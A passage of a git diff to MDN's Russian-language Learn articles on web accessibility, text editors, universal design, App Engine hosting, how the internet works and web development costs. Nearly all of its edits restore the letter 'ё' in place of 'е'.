    С другой стороны, если вы работаете на веб-сайте галереи с интересным трёхмерным искусством, было бы неразумно ожидать, что каждое произведение искусства будет идеально доступно для людей с нарушениями зрения, учитывая, что это полностью визуальная среда.

    -

    Чтобы показать, что вы заботитесь о доступности и думали о ней, опубликуйте на своем сайте заявление о доступности, в котором подробно излагается, какова ваша политика в отношении доступности, и какие шаги вы предприняли для обеспечения доступности сайта. Если кто-то жалуется, что у вашего сайта есть проблема с доступностью, начните с ним диалог, проявите сочувствие и примите разумные меры, чтобы попытаться устранить проблему.

    +

    Чтобы показать, что вы заботитесь о доступности и думали о ней, опубликуйте на своём сайте заявление о доступности, в котором подробно излагается, какова ваша политика в отношении доступности, и какие шаги вы предприняли для обеспечения доступности сайта. Если кто-то жалуется, что у вашего сайта есть проблема с доступностью, начните с ним диалог, проявите сочувствие и примите разумные меры, чтобы попытаться устранить проблему.

    Note: В нашей статье «Об общих проблемах доступности» рассматриваются особенности доступности, которые необходимо протестировать более подробно.

    @@ -160,7 +160,7 @@ original_slug: Learn/Доступность/What_is_accessibility
    • Думайте о доступности с самого начала проекта, тестируйте рано и часто. Как и любая другая ошибка, проблема доступности становится более дорогой, чтобы исправлять её позже.
    • Имейте в виду, что многие рекомендации по доступности выгодны всем, а не только пользователям с ограниченными возможностями. Например, семантическая разметка полезна не только для программ чтения с экрана, но и для быстрой загрузки и повышения производительности, так лучше для всех, особенно для мобильных устройств, и/или для медленных соединений.
      • -
    • Опубликуйте заявление о доступности на своем сайте и общайтесь с людьми, у которых есть проблемы.
      • +
    • Опубликуйте заявление о доступности на своём сайте и общайтесь с людьми, у которых есть проблемы.

    Руководство по доступности и закон

    @@ -168,13 +168,13 @@ original_slug: Learn/Доступность/What_is_accessibility

    Существует множество чек-листов и наборов руководств, на которых можно основываться при тестировании доступности, которые на первый взгляд могут показаться ошеломляющими. Наш совет — ознакомиться с основными областями, о которых вам необходимо позаботиться, а также понять структуры руководящих принципов, которые наиболее актуальны для вас.

      -
    • Для начала, W3C опубликовал большой и очень подробный документ, который включает в себя очень точные, независимые от технологии критерии соответствия доступности. Они называются Рекомендациями по доступности веб-контента (Web Content Accessibility Guidelines — WCAG), и они никоим образом не являются кратким описанием. Критерии разделяются на четыре основные категории, которые определяют, как реализации можно сделать восприимчивыми, работоспособными, понятными и устойчивыми. Лучшее место, чтобы получить легкое представление и начать обучение это WCAG at a Glance. Нет необходимости изучать WCAG наизусть — знайте об основных проблемных областях и используйте различные методы и инструменты, чтобы выделить любые области, которые не соответствуют критериям WCAG (подробнее см. ниже).
      • +
    • Для начала, W3C опубликовал большой и очень подробный документ, который включает в себя очень точные, независимые от технологии критерии соответствия доступности. Они называются Рекомендациями по доступности веб-контента (Web Content Accessibility Guidelines — WCAG), и они никоим образом не являются кратким описанием. Критерии разделяются на четыре основные категории, которые определяют, как реализации можно сделать восприимчивыми, работоспособными, понятными и устойчивыми. Лучшее место, чтобы получить лёгкое представление и начать обучение это WCAG at a Glance. Нет необходимости изучать WCAG наизусть — знайте об основных проблемных областях и используйте различные методы и инструменты, чтобы выделить любые области, которые не соответствуют критериям WCAG (подробнее см. ниже).
    • В вашей стране также может быть предусмотрено специальное законодательство, регулирующее необходимость обеспечения доступности веб-сайтов, обслуживающих их население, например, Раздел 508 Закона о реабилитации в США, Федеральное постановление о безбарьерных информационных технологиях в Германии, Закон о равенстве в Великобритании, Accessibilità в Италии, Закон о дискриминации инвалидов в Австралии и т.д.

    Поэтому, хотя WCAG представляет собой набор руководств, в вашей стране, вероятно, будут приняты законы, регулирующие доступность веба или, по крайней мере, доступность обществественных услуг (которые могут включать в себя веб-сайты, телевидение, физические пространства и т.д.). Это хорошая идея — узнать, каковы ваши законы. Если вы не предпримете никаких усилий, чтобы проверить, что ваш контент доступен, у вас могут возникнуть проблемы с законом, если люди с ограниченными возможностями жалуются на это.

    -

    Это звучит серьезно, но на самом деле вам просто нужно рассматривать доступность в качестве основного приоритета вашей практики веб-разработки, как описано выше. В случае сомнений обратитесь за советом к квалифицированному юристу. Мы не собираемся предлагать больше советов, чем эти, потому что мы не юристы.

    +

    Это звучит серьёзно, но на самом деле вам просто нужно рассматривать доступность в качестве основного приоритета вашей практики веб-разработки, как описано выше. В случае сомнений обратитесь за советом к квалифицированному юристу. Мы не собираемся предлагать больше советов, чем эти, потому что мы не юристы.

    Специальные API доступа

    @@ -190,11 +190,11 @@ original_slug: Learn/Доступность/What_is_accessibility
  33. iOS: UIAccessibility
    34. -

    Там, где нативная семантическая информация, предоставляемая элементами HTML в ваших веб-приложениях, падает, вы можете дополнить ее функциями из спецификации WAI-ARIA, которые добавляют семантическую информацию в дерево доступности для улучшения доступности. Вы можете узнать больше о WAI-ARIA в нашей статье основы WAI-ARIA.

    +

    Там, где нативная семантическая информация, предоставляемая элементами HTML в ваших веб-приложениях, падает, вы можете дополнить её функциями из спецификации WAI-ARIA, которые добавляют семантическую информацию в дерево доступности для улучшения доступности. Вы можете узнать больше о WAI-ARIA в нашей статье основы WAI-ARIA.

    Заключение

    -

    Эта статья должна была дать вам полезный обзор специальных возможностей, показать, почему это так важно, и посмотреть, как вы можете вписать его в свой рабочий процесс. Теперь у вас также должна быть жажда узнать о деталях реализации, которые помогут сделать сайты доступными, и мы начнем с этого в следующем разделе, рассматривая, почему HTML является хорошей основой для доступности.

    +

    Эта статья должна была дать вам полезный обзор специальных возможностей, показать, почему это так важно, и посмотреть, как вы можете вписать его в свой рабочий процесс. Теперь у вас также должна быть жажда узнать о деталях реализации, которые помогут сделать сайты доступными, и мы начнём с этого в следующем разделе, рассматривая, почему HTML является хорошей основой для доступности.

    {{NextMenu("Learn/Accessibility/HTML", "Learn/Accessibility")}}

    diff --git a/files/ru/learn/common_questions/available_text_editors/index.html b/files/ru/learn/common_questions/available_text_editors/index.html index 0a2c769828..b9ef48555c 100644 --- a/files/ru/learn/common_questions/available_text_editors/index.html +++ b/files/ru/learn/common_questions/available_text_editors/index.html @@ -28,7 +28,7 @@ translation_of: Learn/Common_questions/Available_text_editors

    Summary

    -

    Веб-сайт состоит в основном из текстовых файлов, поэтому для веселого и приятного процесса разработки вы должны выбрать свой текстовый редактор с умом.

    +

    Веб-сайт состоит в основном из текстовых файлов, поэтому для весёлого и приятного процесса разработки вы должны выбрать свой текстовый редактор с умом.

    Огромное количество вариантов немного ошеломляет, так как текстовый редактор настолько важен для компьютерных наук (да, веб-разработка - это компьютерная наука). В идеале вы должны попробовать столько редакторов, сколько сможете, и почувствовать, что соответствует вашему рабочему процессу. Но мы дадим вам несколько советов для начала.

    @@ -43,7 +43,7 @@ translation_of: Learn/Common_questions/Available_text_editors
  34. Имеет ли смысл мой текстовый редактор для меня?
    35. -

    Обратите внимание, что мы не упомянули цену. Очевидно, что это тоже важно, но стоимость продукта мало связана с его качеством или возможностями. Существует большая вероятность, что вы найдете подходящий текстовый редактор бесплатно.

    +

    Обратите внимание, что мы не упомянули цену. Очевидно, что это тоже важно, но стоимость продукта мало связана с его качеством или возможностями. Существует большая вероятность, что вы найдёте подходящий текстовый редактор бесплатно.

    Here are some popular editors:

    @@ -211,7 +211,7 @@ translation_of: Learn/Common_questions/Available_text_editors

    С какой ОС (операционной системой) я хочу работать?

    -

    Конечно, это Ваш выбор. Однако некоторые редакторы доступны только для определенных ОС, поэтому, если Вам нравится переключаться вперед и назад, это сузит возможности. Любой текстовый редактор может выполнить работу, если он работает в вашей системе, но кроссплатформенный редактор облегчает переход с ОС на ОС.

    +

    Конечно, это Ваш выбор. Однако некоторые редакторы доступны только для определённых ОС, поэтому, если Вам нравится переключаться вперёд и назад, это сузит возможности. Любой текстовый редактор может выполнить работу, если он работает в вашей системе, но кроссплатформенный редактор облегчает переход с ОС на ОС.

    So first find out which OS you're using, and then check if a given editor supports your OS. Most editors specify on their website whether they support Windows or Mac, though some editors only support certain versions (say, only Windows 7 or later and not Vista). If you're running Ubuntu, your best bet is to search within the Ubuntu Software Center. In general, of course, the Linux/UNIX world is a pretty diverse place where different distros work with different, incompatible packaging systems. That means, if you've set your heart on an obscure text editor, you may have to compile it from source yourself (not for the faint-hearted).

    diff --git a/files/ru/learn/common_questions/design_for_all_types_of_users/index.html b/files/ru/learn/common_questions/design_for_all_types_of_users/index.html index 8486ff757f..7b3ceb5b95 100644 --- a/files/ru/learn/common_questions/design_for_all_types_of_users/index.html +++ b/files/ru/learn/common_questions/design_for_all_types_of_users/index.html @@ -29,15 +29,15 @@ translation_of: Learn/Common_questions/Design_for_all_types_of_users

    Краткое описание

    -

    Когда вы создаете веб-сайт, одна из главных проблем, которую нужно учитывать, - это универсальный дизайн: доступность для всех пользователей независимо от инвалидности, технических ограничений, культуры, местоположения и так далее.

    +

    Когда вы создаёте веб-сайт, одна из главных проблем, которую нужно учитывать, - это универсальный дизайн: доступность для всех пользователей независимо от инвалидности, технических ограничений, культуры, местоположения и так далее.

    Более глубокое изучение

    Цветовой контраст

    -

    Чтобы сделать ваш текст читаемым, используйте цвет текста, который хорошо контрастирует с цветом фона. Сделайте его особенно легким для чтения текста, чтобы помочь слабовидящим людям и людям, использующим свои телефоны на улице.

    +

    Чтобы сделать ваш текст читаемым, используйте цвет текста, который хорошо контрастирует с цветом фона. Сделайте его особенно лёгким для чтения текста, чтобы помочь слабовидящим людям и людям, использующим свои телефоны на улице.

    -

    {{Glossary("W3C")}} определяет хорошее сочетание цветов с помощью алгоритма, который вычисляет соотношение яркости между передним и задним планом. Расчет может показаться довольно сложным, но мы можем положиться на инструменты, которые сделают эту работу за нас.

    +

    {{Glossary("W3C")}} определяет хорошее сочетание цветов с помощью алгоритма, который вычисляет соотношение яркости между передним и задним планом. Расчёт может показаться довольно сложным, но мы можем положиться на инструменты, которые сделают эту работу за нас.

    Давайте загрузим и установим анализатор цветового контраста Paciello Group.

    @@ -64,7 +64,7 @@ translation_of: Learn/Common_questions/Design_for_all_types_of_users

    ... вы говорите браузеру, что бы ни случилось, размер шрифта должен быть 16 пикселей. Современные браузеры обходят это правило, делая вид, что вы просите "16 пикселей, когда пользователь устанавливает коэффициент масштабирования 100%".

    -

    Однако, на протяжении многих лет Internet Explorer категорически отображается 16 на 16 пикселей. В этом случае масштабирование ничего не дало, даже в последнем Internet Explorer 8, который нам все еще приходится обслуживать, потому что он все еще существует.

    +

    Однако, на протяжении многих лет Internet Explorer категорически отображается 16 на 16 пикселей. В этом случае масштабирование ничего не дало, даже в последнем Internet Explorer 8, который нам все ещё приходится обслуживать, потому что он все ещё существует.

    Относительные единицы

    @@ -74,14 +74,14 @@ translation_of: Learn/Common_questions/Design_for_all_types_of_users
    Процентные размеры: %
    -
    Этот блок сообщает вашему браузеру, что размер шрифта элемента должен составлять N% от предыдущего элемента, размер шрифта которого был выражен. Если родитель не найден, то размер шрифта по умолчанию в браузере считается базовым размером для расчета (обычно эквивалентным 16 пикселям).
    +
    Этот блок сообщает вашему браузеру, что размер шрифта элемента должен составлять N% от предыдущего элемента, размер шрифта которого был выражен. Если родитель не найден, то размер шрифта по умолчанию в браузере считается базовым размером для расчёта (обычно эквивалентным 16 пикселям).
    Em размеры: em
    Эта единица вычисляется так же, как и проценты, за исключением того, что вы вычисляете в частях 1, а не в частях 100. Говорят, что "em" - это ширина заглавной буквы “М” в алфавите (грубо говоря, буква “М” вписывается в квадрат).
    Rem размеры: rem
    Эта единица измерения пропорциональна размеру шрифта корневого элемента и выражается в виде частей, таких как em.
    -

    Предположим, что нам нужен базовый размер шрифта 16px и h1 (основной заголовок) в эквиваленте 32px, но если в пределах h1 мы найдем промежуток с классом подзаголовков, он тоже должен быть отрисован с размером шрифта по умолчанию (обычно 16px).

    +

    Предположим, что нам нужен базовый размер шрифта 16px и h1 (основной заголовок) в эквиваленте 32px, но если в пределах h1 мы найдём промежуток с классом подзаголовков, он тоже должен быть отрисован с размером шрифта по умолчанию (обычно 16px).

    Вот HTML, который мы используем:

    @@ -131,22 +131,22 @@ span.subheading { font-size:1rem; } /* исходный размер */

    Почему мне следует использовать пропорциональные единицы измерения?

    -

    Потому что вы не знаете, когда браузер придет в себя и откажется увеличивать текст, размер которого выражается в пикселях. Кроме того, проверьте статистику вашего сайта: вы можете получать визиты из старых браузеров.

    +

    Потому что вы не знаете, когда браузер придёт в себя и откажется увеличивать текст, размер которого выражается в пикселях. Кроме того, проверьте статистику вашего сайта: вы можете получать визиты из старых браузеров.

    Мы бы посоветовали следующее:

    • Опишите шрифты в единицах rem, большинство браузеров будут очень довольны ими;
      • -
    • Пусть старые браузеры отображают шрифты со своим собственным внутренним движком. Браузерные движки будут игнорировать любое свойство или значение в CSS, если они не могут справиться с ними, так что ваш сайт все еще может быть непригодным для использования, если он не соответствует видению вашего дизайнера. Старые браузеры в любом случае находятся на пути к выходу из использования.
      • +
    • Пусть старые браузеры отображают шрифты со своим собственным внутренним движком. Браузерные движки будут игнорировать любое свойство или значение в CSS, если они не могут справиться с ними, так что ваш сайт все ещё может быть непригодным для использования, если он не соответствует видению вашего дизайнера. Старые браузеры в любом случае находятся на пути к выходу из использования.
    -

    Примечание: ваш пробег может варьироваться. Если вам нужно угодить старым браузерам, вам придется использовать ems и сделать немного больше математики.

    +

    Примечание: ваш пробег может варьироваться. Если вам нужно угодить старым браузерам, вам придётся использовать ems и сделать немного больше математики.

    Длина строки

    -

    Существует давняя дискуссия о длине строки в интернете, но вот история. Еще в те времена, когда у нас были газеты, Печатники понимали, что глаза читателя будут с трудом переходить от одной строки к другой, если строки будут слишком длинными. Какое же решение? Столбцы.

    +

    Существует давняя дискуссия о длине строки в интернете, но вот история. Ещё в те времена, когда у нас были газеты, Печатники понимали, что глаза читателя будут с трудом переходить от одной строки к другой, если строки будут слишком длинными. Какое же решение? Столбцы.

    Конечно, проблема не исчезает, когда мы переключаемся на интернет. Глаза читателя действуют как челнок, идущий от строки к строке. Чтобы сделать чтение проще для глаз людей, ограничьте ширину строки примерно 60 или 70 символами.

    @@ -197,7 +197,7 @@ span.subheading { font-size:1rem; } /* исходный размер */
    Они используются для передачи информации, отсюда и их название. Они могут, например, показать график, жест человека или любую другую информацию. Как минимум, вы должны предоставить соответствующий атрибут alt.
    -

    Если изображение может быть описано кратко, вы можете предоставить атрибут alt и ничего больше. Если изображение не может быть описано кратко, вам придется либо предоставить тот же контент в другой форме на той же странице (например, дополнить круговую диаграмму таблицей, содержащей те же данные), либо прибегнуть к атрибуту longdesc. Значение этого атрибута представляет собой URL-адрес, указывающий на ресурс, явно описывающий в деталях содержимое изображения.

    +

    Если изображение может быть описано кратко, вы можете предоставить атрибут alt и ничего больше. Если изображение не может быть описано кратко, вам придётся либо предоставить тот же контент в другой форме на той же странице (например, дополнить круговую диаграмму таблицей, содержащей те же данные), либо прибегнуть к атрибуту longdesc. Значение этого атрибута представляет собой URL-адрес, указывающий на ресурс, явно описывающий в деталях содержимое изображения.

    Примечание: использование и даже существование longdesc обсуждается уже довольно давно. Пожалуйста, обратитесь к расширению описания изображений W3C (longdesc) для получения полного объяснения и подробных примеров.

    @@ -209,14 +209,14 @@ span.subheading { font-size:1rem; } /* исходный размер */
    Субтитры / закрытие субтитров
    -
    Вы должны включить подписи в свое видео, чтобы угодить посетителям, которые не могут слышать звук. Некоторые пользователи имеют проблемы со слухом, не имеют функционирующих динамиков или работают в шумной среде (например, в поезде).
    +
    Вы должны включить подписи в своё видео, чтобы угодить посетителям, которые не могут слышать звук. Некоторые пользователи имеют проблемы со слухом, не имеют функционирующих динамиков или работают в шумной среде (например, в поезде).
    Расшифровка
    Субтитры работают только в том случае, если кто-то смотрит видео. Многие пользователи не имеют времени или не имеют соответствующего плагина или кодека. Кроме того, поисковые системы полагаются в основном на текст для индексации вашего контента. По всем этим причинам, пожалуйста, предоставьте текстовую расшифровку видео / аудиофайла.

    Сжатие изображения

    -

    Некоторые пользователи могут выбрать отображение изображений, но все еще имеют ограниченную пропускную способность, особенно в развивающихся странах и на мобильных устройствах. Если вы хотите создать успешный сайт, пожалуйста, сожмите ваши изображения. Существуют различные инструменты, которые помогут вам, как онлайн, так и локально:

    +

    Некоторые пользователи могут выбрать отображение изображений, но все ещё имеют ограниченную пропускную способность, особенно в развивающихся странах и на мобильных устройствах. Если вы хотите создать успешный сайт, пожалуйста, сожмите ваши изображения. Существуют различные инструменты, которые помогут вам, как онлайн, так и локально:

    • Устанавливаемое программное обеспечение. ImageOptim (Mac), OptiPNG (все платформы), PNGcrush (DOS, Unix/Linux)
      • diff --git a/files/ru/learn/common_questions/how_do_you_host_your_website_on_google_app_engine/index.html b/files/ru/learn/common_questions/how_do_you_host_your_website_on_google_app_engine/index.html index 8cc55f9d12..449e24f887 100644 --- a/files/ru/learn/common_questions/how_do_you_host_your_website_on_google_app_engine/index.html +++ b/files/ru/learn/common_questions/how_do_you_host_your_website_on_google_app_engine/index.html @@ -7,7 +7,7 @@ translation_of: Learn/Common_questions/How_do_you_host_your_website_on_Google_Ap

      Создание проекта Google Cloud Platform

      -

      Чтобы использовать инструменты Google для своего собственного сайта или приложения, вам нужно создать новый проект на Google Cloud Platform. Для этого требуется наличие учетной записи Google.

      +

      Чтобы использовать инструменты Google для своего собственного сайта или приложения, вам нужно создать новый проект на Google Cloud Platform. Для этого требуется наличие учётной записи Google.

      1. Перейдите на панель App Engine dashboard в консоли Google Cloud Platform и нажмите кнопку «Создать» (Create).
        2. @@ -17,7 +17,7 @@ translation_of: Learn/Common_questions/How_do_you_host_your_website_on_Google_Ap
      2. Project ID: gaesamplesite
    -
  35. Если вы еще не создали проект раньше, вам нужно будет выбрать, хотите ли вы получать обновления электронной почты или нет, соглашайтесь с Условиями обслуживания, а затем вы можете нажать кнопку «Создать», чтобы создать свой проект.
    36. +
  36. Если вы ещё не создали проект раньше, вам нужно будет выбрать, хотите ли вы получать обновления электронной почты или нет, соглашайтесь с Условиями обслуживания, а затем вы можете нажать кнопку «Создать», чтобы создать свой проект.

Создание приложения

@@ -50,7 +50,7 @@ translation_of: Learn/Common_questions/How_do_you_host_your_website_on_Google_Ap
  • Теперь вы готовы развернуть ваше приложение, т.е. загрузить его в App Engine: 
    gcloud app deploy
    • -
  • Введите число от одного до семи, чтобы выбрать регион, в котором вы хотите разместить свое приложение.
    • +
  • Введите число от одного до семи, чтобы выбрать регион, в котором вы хотите разместить своё приложение.
  • Нажмите Y для подтверждения.
  • Теперь перейдите по ссылке your-project-id.appspot.com, чтобы увидеть ваш сайт. Например, для проекта с ID gaesamplesite, перейдите по ссылке gaesamplesite.appspot.com.
    • diff --git a/files/ru/learn/common_questions/how_does_the_internet_work/index.html b/files/ru/learn/common_questions/how_does_the_internet_work/index.html index 225ee71401..267946416f 100644 --- a/files/ru/learn/common_questions/how_does_the_internet_work/index.html +++ b/files/ru/learn/common_questions/how_does_the_internet_work/index.html @@ -19,12 +19,12 @@ original_slug: Learn/How_the_Internet_works Необходимые знания: - Отсутствуют, но мы будем признательны, если вы сначала прочтете Материал о там как начать разрабатывать свой сайт + Отсутствуют, но мы будем признательны, если вы сначала прочтёте Материал о там как начать разрабатывать свой сайт Цель: -

    Вы изучите основы технической инфраструктуры Веба и поймете разницу между Вебом и интернетом. 

    +

    Вы изучите основы технической инфраструктуры Веба и поймёте разницу между Вебом и интернетом. 

    @@ -34,7 +34,7 @@ original_slug: Learn/How_the_Internet_works

    Интернет является основой сети (the Web), технической инфраструктурой, благодаря которой и существует Всемирная Паутина. По своей сути, интернет - очень большая сеть компьютеров, которые могут взаимодействовать друг с другом.

    -

    История интернета не до конца ясна. Проект по созданию интернета был начат в 60-х годах как исследовательский проект при поддержке министерства обороны США, но уже в 80-е годы вырос в сеть, которую поддерживали и развивали множество университетов и частных компаний. Технологии, лежащие в основе интернета, также продолжали развиваться со временем, но основной принцип работы не сильно изменился: Интернет - это способ подключить компьютеры в единую сеть и убедиться, что даже при серьезных сбоях, они все равно найдут способ связаться друг с другом.

    +

    История интернета не до конца ясна. Проект по созданию интернета был начат в 60-х годах как исследовательский проект при поддержке министерства обороны США, но уже в 80-е годы вырос в сеть, которую поддерживали и развивали множество университетов и частных компаний. Технологии, лежащие в основе интернета, также продолжали развиваться со временем, но основной принцип работы не сильно изменился: Интернет - это способ подключить компьютеры в единую сеть и убедиться, что даже при серьёзных сбоях, они все равно найдут способ связаться друг с другом.

    Активное изучение

    @@ -74,7 +74,7 @@ original_slug: Learn/How_the_Internet_works

    Routers linked to routers

    -

    Такая сеть уже очень похожа на то, что мы называем интернетом, но мы что-то упустили. Наша сеть построена для решения только наших задач. Но кроме нее есть и другие сети: наши друзья, соседи — кто угодно может создать свою сеть. Как же нам их объединить? Мы не можем протянуть кабели между нашим домом и всеми остальными сетями в мире. Чтобы решить эту проблему, мы можем воспользоваться уже существующими кабельными сетями. Ведь у нас дома уже есть кабели, например, электрические или телефонные. Телефонный провод уже соединяет ваш дом со всем остальным миром, так что он идеально подходит для решения нашей задачи. Чтобы подключить нашу сеть к глобальной сети с помощью телефонного провода, нам понадобится специальное оборудование, которое называется модем. Модем перекодирует информацию, поступающую из нашей сети в формат, который можно передавать через телефонную сеть, и наоборот, декодируют информацию из телефонной сети в формат, который распознают наши компьютеры.

    +

    Такая сеть уже очень похожа на то, что мы называем интернетом, но мы что-то упустили. Наша сеть построена для решения только наших задач. Но кроме неё есть и другие сети: наши друзья, соседи — кто угодно может создать свою сеть. Как же нам их объединить? Мы не можем протянуть кабели между нашим домом и всеми остальными сетями в мире. Чтобы решить эту проблему, мы можем воспользоваться уже существующими кабельными сетями. Ведь у нас дома уже есть кабели, например, электрические или телефонные. Телефонный провод уже соединяет ваш дом со всем остальным миром, так что он идеально подходит для решения нашей задачи. Чтобы подключить нашу сеть к глобальной сети с помощью телефонного провода, нам понадобится специальное оборудование, которое называется модем. Модем перекодирует информацию, поступающую из нашей сети в формат, который можно передавать через телефонную сеть, и наоборот, декодируют информацию из телефонной сети в формат, который распознают наши компьютеры.

    A router linked to a modem

    @@ -84,7 +84,7 @@ original_slug: Learn/How_the_Internet_works

    Поиск компьютера

    -

    Чтобы послать сообщение какому-то компьютеру, необходимо как-то обратиться к нему, выделить среди других. Поэтому каждый компьютер, подключенный к сети, имеет свой уникальный адрес для связи: этот адрес называют IP-адресом (IP — сокращение для Internet Protocol, протокол интернета). В зависимости от версии протокола IP этот адрес может записываться по-разному. Самая широко используемая версия интернет-протокола — версия 4. Адреса IPv4 обычно записываются в виде четырёх чисел, разделенных точками, например: 192.168.2.10.

    +

    Чтобы послать сообщение какому-то компьютеру, необходимо как-то обратиться к нему, выделить среди других. Поэтому каждый компьютер, подключённый к сети, имеет свой уникальный адрес для связи: этот адрес называют IP-адресом (IP — сокращение для Internet Protocol, протокол интернета). В зависимости от версии протокола IP этот адрес может записываться по-разному. Самая широко используемая версия интернет-протокола — версия 4. Адреса IPv4 обычно записываются в виде четырёх чисел, разделённых точками, например: 192.168.2.10.

    Такие адреса отлично подходят для компьютеров, но людям очень сложно их запоминать. Чтобы упростить себе жизнь, мы можем присвоить каждому IP-адресу псевдоним с понятным для человека именем. Такой псевдоним называют доменным именем. Например, google.com — доменное имя, которое является псевдонимом IP-адреса 173.194.121.32. Использование доменного имени — самый простой способ обратиться к компьютеру в интернете.

    diff --git a/files/ru/learn/common_questions/how_much_does_it_cost/index.html b/files/ru/learn/common_questions/how_much_does_it_cost/index.html index b830480208..ccd18619af 100644 --- a/files/ru/learn/common_questions/how_much_does_it_cost/index.html +++ b/files/ru/learn/common_questions/how_much_does_it_cost/index.html @@ -1,5 +1,5 @@ --- -title: Насколько дорого обойдется сделать что-то с помощью Web? +title: Насколько дорого обойдётся сделать что-то с помощью Web? slug: Learn/Common_questions/How_much_does_it_cost tags: - Хостинг @@ -8,7 +8,7 @@ tags: translation_of: Learn/Common_questions/How_much_does_it_cost ---
    -

    Веб-разработка обходится не так дешево, как вам может показаться. В этой статье мы обсудим, как много вам потребуется потратить и почему.

    +

    Веб-разработка обходится не так дёшево, как вам может показаться. В этой статье мы обсудим, как много вам потребуется потратить и почему.

    @@ -38,7 +38,7 @@ translation_of: Learn/Common_questions/How_much_does_it_cost

    Для начала, мы предлагаем вам попробовать несколько редакторов, чтобы понять, какой из них подходит лучше вам. Если вы пишите лишь простые {{Glossary("HTML")}}, {{Glossary("CSS")}}, and {{Glossary("Javascript")}}, используйте простой редактор.

    -

    Цена не влияет на качество или полезность текстового редактора. Вам необходимо попробовать и решить какой из них отвечает вашим потребностям. К примеру, Sublime Text дешевый, но поставляется с множеством бесплатных плагинов которые могут здорово расширить его функциональность.

    +

    Цена не влияет на качество или полезность текстового редактора. Вам необходимо попробовать и решить какой из них отвечает вашим потребностям. К примеру, Sublime Text дешёвый, но поставляется с множеством бесплатных плагинов которые могут здорово расширить его функциональность.

    Редакторы изображений

    @@ -46,7 +46,7 @@ translation_of: Learn/Common_questions/How_much_does_it_cost

    Редакторы могут быть бесплатными (GIMP, Paint.NET), относительно недорогими (PaintShop Pro, меньше чем $100), или иметь стоимость в пару сотен долларов (Adobe Photoshop).

    -

    Вы можете использовать любой из них, так как они имеют похожую функциональность, хотя некоторые из них настолько всеобъемлющие, что вы никогда не сможете использовать весь их функционал. Если в какой то момент вам необходимо обменяться проектами с другими дизайнерами, то вам следует выяснить, какие инструменты они используют. Редакторы могут экспортировать законченные проекты в стандартные форматы, но каждый редактор сохраняет текущие проекты в своем собственном, специализированном формате. Большинство изображений в интернете защищены авторским правом, так что лучше проверить лицензию файла, перед его использованием. Такие сайты, как Pixabay, предоставляют изображения под лицензией Creative Commons Zero, так что вы можете использовать, редактировать, и даже публиковать их после изменения, ради коммерческой выгоды.

    +

    Вы можете использовать любой из них, так как они имеют похожую функциональность, хотя некоторые из них настолько всеобъемлющие, что вы никогда не сможете использовать весь их функционал. Если в какой то момент вам необходимо обменяться проектами с другими дизайнерами, то вам следует выяснить, какие инструменты они используют. Редакторы могут экспортировать законченные проекты в стандартные форматы, но каждый редактор сохраняет текущие проекты в своём собственном, специализированном формате. Большинство изображений в интернете защищены авторским правом, так что лучше проверить лицензию файла, перед его использованием. Такие сайты, как Pixabay, предоставляют изображения под лицензией Creative Commons Zero, так что вы можете использовать, редактировать, и даже публиковать их после изменения, ради коммерческой выгоды.

    Медиа редакторы

    @@ -56,9 +56,9 @@ translation_of: Learn/Common_questions/How_much_does_it_cost

    Инструменты публикации

    -

    Вам также потребуется возможность выгрузки файлов: с вашего жесткого диска на удаленный веб-сервер. Чтобы осуществить это, вам потребуется утилита для публикации, такая как (S)FTP client, RSync, или Git/GitHub.

    +

    Вам также потребуется возможность выгрузки файлов: с вашего жёсткого диска на удалённый веб-сервер. Чтобы осуществить это, вам потребуется утилита для публикации, такая как (S)FTP client, RSync, или Git/GitHub.

    -

    Каждая операционная система включает (S)FTP клиент, как часть своего файлового менеджера. Проводник Windows, Nautilus (распространенный файловый менеджер Linux), и Mac Finder - все имеют такую функциональность. Однако, люди часто выбирают удаленные (S)FTP клиенты, для одновременного отображения локальных и удаленных каталогов и хранения паролей сервера.

    +

    Каждая операционная система включает (S)FTP клиент, как часть своего файлового менеджера. Проводник Windows, Nautilus (распространённый файловый менеджер Linux), и Mac Finder - все имеют такую функциональность. Однако, люди часто выбирают удалённые (S)FTP клиенты, для одновременного отображения локальных и удалённых каталогов и хранения паролей сервера.

    Если вы хотите установить (S)FTP клиент, то существует несколько, заслуживающих доверия, бесплатных вариантов: FileZilla, WinSCP для Windows, Cyberduck для Mac/Windows, и другие.

    @@ -76,22 +76,22 @@ translation_of: Learn/Common_questions/How_much_does_it_cost

    Конечно же, вам необходим более мощный компьютер, если вы хотите проектировать сложные конструкции, править фотографии или создавать аудио и видеофайлы.

    -

    Вам потребуется загружать контент на удаленный сервер (см. ниже Хостинг), а значит вам потребуется модем. Ваш {{Glossary("ISP", "провайдер")}} может предоставлять доступ в интернет вам за пару долларов в месяц, однако, это также зависит от места вашего проживания.

    +

    Вам потребуется загружать контент на удалённый сервер (см. ниже Хостинг), а значит вам потребуется модем. Ваш {{Glossary("ISP", "провайдер")}} может предоставлять доступ в интернет вам за пару долларов в месяц, однако, это также зависит от места вашего проживания.

    Доступ по провайдеру

    Убедитесь что у вас достаточная {{Glossary("Bandwidth", "скорость передачи данных")}}:

      -
    • Доступ с низкой пропускной способностью может быть приемлем для простого веб-сайта: изображения, тексты, немного CSS и JavaScript. Это, вероятно, обойдется вам в пару долларов, включая аренду модема.
      • -
    • С другой стороны, вам потребуется соединения с высокой пропускной способностью, такие как DSL, оптоволокно, если вы хотите более сложный веб-сайт с сотнями файлов, или если вы хотите предоставить доступ к тяжелым видео/аудио файлам напрямую с вашего веб-сервера. Это может стоить столько же, сколько при соединении с низкой пропускной способностью, а может вырасти до пары сотен долларов в месяц, за более профессиональные потребности.
      • +
    • Доступ с низкой пропускной способностью может быть приемлем для простого веб-сайта: изображения, тексты, немного CSS и JavaScript. Это, вероятно, обойдётся вам в пару долларов, включая аренду модема.
      • +
    • С другой стороны, вам потребуется соединения с высокой пропускной способностью, такие как DSL, оптоволокно, если вы хотите более сложный веб-сайт с сотнями файлов, или если вы хотите предоставить доступ к тяжёлым видео/аудио файлам напрямую с вашего веб-сервера. Это может стоить столько же, сколько при соединении с низкой пропускной способностью, а может вырасти до пары сотен долларов в месяц, за более профессиональные потребности.

    Хостинг

    Понимание пропускной способности

    -

